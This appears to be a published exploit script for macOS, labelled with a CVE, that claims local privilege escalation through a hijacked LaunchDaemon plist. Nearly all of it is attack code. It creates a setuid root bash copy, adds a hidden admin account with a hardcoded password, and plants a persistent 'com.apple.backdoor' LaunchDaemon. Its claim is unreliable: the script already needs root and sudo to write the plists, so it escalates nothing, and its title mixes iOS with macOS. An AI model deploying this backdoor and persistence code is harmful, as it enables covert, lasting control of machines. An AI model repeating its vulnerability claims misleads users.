macOS LaunchDaemon iOS 17.2 - Privilege Escalation

#!/usr/bin/env python3
# Exploit Title: macOS LaunchDaemon iOS 17.2 - Privilege Escalation
# Author: Mohammed Idrees Banyamer (@banyamer_security)
# GitHub: https://github.com/mbanyamer
# Date: 2025-05-31
# Tested on: macOS Sonoma (14.x ARM64 / x86_64)
# CVE: CVE-2025-24085
# Type: Local Privilege Escalation
# Platform: macOS
# Author Country: Jordan
# Description:
# This local privilege escalation exploit leverages a vulnerable macOS LaunchDaemon plist configuration to execute
# arbitrary commands with root privileges. The exploit creates a root payload script that adds a root shell binary,
# creates an admin user, and installs a persistent LaunchDaemon backdoor for root access. It hijacks the
# com.apple.securemonitor LaunchDaemon plist to trigger the payload, allowing unauthorized escalation to root
# on macOS Sonoma systems.

import os
import plistlib
import time
from pathlib import Path

LAUNCHD_PLIST = "/Library/LaunchDaemons/com.apple.securemonitor.plist"
PAYLOAD_SCRIPT = "/tmp/.macroot_payload.sh"

def create_payload():
    print("[+] Creating root payload script...")
    payload = """#!/bin/bash
# Root shell
cp /bin/bash /tmp/.rootbash
chmod +s /tmp/.rootbash
chown root:wheel /tmp/.rootbash

# Add admin user
sysadminctl -addUser pentest -password macOS123! -admin

# Log file
echo "[+] Root backdoor triggered at $(date)" >> /tmp/.rootlog

# Persistent backdoor
cat <<EOF > /Library/LaunchDaemons/com.apple.backdoor.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>Label</key><string>com.apple.backdoor</string>
  <key>ProgramArguments</key><array><string>/tmp/.rootbash</string></array>
  <key>RunAtLoad</key><true/>
</dict>
</plist>
EOF
chmod 644 /Library/LaunchDaemons/com.apple.backdoor.plist
chown root:wheel /Library/LaunchDaemons/com.apple.backdoor.plist
"""
    with open(PAYLOAD_SCRIPT, "w") as f:
        f.write(payload)
    os.chmod(PAYLOAD_SCRIPT, 0o755)

def hijack_launchdaemon():
    print("[+] Hijacking LaunchDaemon plist...")
    if not Path(LAUNCHD_PLIST).exists():
        # create a fake one
        print("[*] Creating fake LaunchDaemon plist for exploitation...")
        plist_data = {
            'Label': 'com.apple.securemonitor',
            'ProgramArguments': [PAYLOAD_SCRIPT],
            'RunAtLoad': True,
        }
        with open(LAUNCHD_PLIST, "wb") as f:
            plistlib.dump(plist_data, f)
    else:
        # hijack existing one
        with open(LAUNCHD_PLIST, 'rb') as f:
            plist = plistlib.load(f)
        plist['ProgramArguments'] = [PAYLOAD_SCRIPT]
        plist['RunAtLoad'] = True
        with open(LAUNCHD_PLIST, 'wb') as f:
            plistlib.dump(plist, f)

    os.system(f"chmod 644 {LAUNCHD_PLIST}")
    os.system(f"chown root:wheel {LAUNCHD_PLIST}")

def trigger_payload():
    print("[+] Triggering LaunchDaemon manually...")
    os.system(f"sudo launchctl load -w {LAUNCHD_PLIST}")
    print("[+] Done. You can now execute /tmp/.rootbash -p for root shell")

def main():
    if os.geteuid() == 0:
        print("[!] You are already root. No need to exploit.")
        return
    create_payload()
    hijack_launchdaemon()
    print("[+] Exploit completed. Reboot or run manually:")
    print(f"    sudo launchctl load -w {LAUNCHD_PLIST}")
    print("    Then run: /tmp/.rootbash -p")

if __name__ == "__main__":
    main()